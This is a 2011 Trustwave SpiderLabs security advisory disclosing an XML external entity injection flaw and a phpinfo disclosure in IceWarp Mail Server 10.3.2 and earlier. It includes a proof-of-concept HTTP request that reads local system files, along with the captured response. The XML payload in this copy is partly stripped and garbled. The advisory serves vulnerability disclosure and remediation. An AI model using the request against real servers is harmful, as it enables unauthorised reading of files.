Trustwave's SpiderLabs Security Advisory TWSL2011-013: Multiple Vulnerabilities in IceWarp Mail Server https://www.trustwave.com/spiderlabs/advisories/TWSL2011-013.txt Published: 2011-09-23 Version: 1.0 Vendor: IceWarp (http://www.icewarp.com) Product: IceWarp Mail Server Version affected: 10.3.2 and below Product description: IceWarp WebMail is the web front-end for the IceWarp Mail Server, which provides email access on over 50,000 servers. IceWarp WebMail provides web-based access to email, calendars, contacts, files and shared data from any computer with a browser and Internet connection. Credit: David Kirkpatrick of Trustwave's SpiderLabs Finding 1: XML External Entity Injection CVE: CVE-2011-3579 An external entity is a function of the XML specification which allows XML documents to reference resources external to the XML document. This functionality forces the XML parser of the application to access the resource specified. In this case it is possible to inject an XML DOCTYPE "SYSTEM" directive to access local files on the operating system where the IceWarp server is installed. Using this technique it is possible to retrieve readable files on the operating system. This attack can also be used to create a possible denial of service condition. Proof-of-Concept: The following POST request was sent to the host A.B.C.D where the IceWarp mail server was running: REQUEST ========= POST /-.._._.--.._1243848280/server/webmail.php HTTP/1.1 Host:A.B.C.D User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-gb,en;q=0.5i've Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D Content-Length: 249 Content-Type: application/xml;charset=UTF-8 Pragma: no-cache Cache-Control: no-cache ]>test&xxeb91c4;828cd27c 6fb73ee32674602e9c5521f005c614f5fb9266fd071dab323b5079e02d47a421c01df2efffc d2bdb221e15bf2baa4acefe38f264d92d152878ca4d33RSA< /query> RESPONSE: ========== HTTP/1.1 200 OK Server: IceWarp/9.4.2 Date: Wed, 20 Jul 2011 10:04:56 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/xml Vary: Accept-Encoding Content-Length: 1113 test; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 ....TRUNCATED The above proof-of-concept would retrieve the c:\windows\win.ini file (the response in this example has been truncated). Finding 2: PHP Information Disclosure CVE: CVE-2011-3580 It is possible to retrieve the PHP information file phpinfo() by accessing the following URL http://A.B.C.D/server where A.B.C.D is the IP of the server running the IceWarp software. The response will be a page detailing the PHP version used and the configuration settings of PHP, including system details. Vendor Response: These issues have been addressed as of version 10.3.3 Remediation Steps: Customers should update to the latest version of IceWarp Mail Server in order to address these issues.
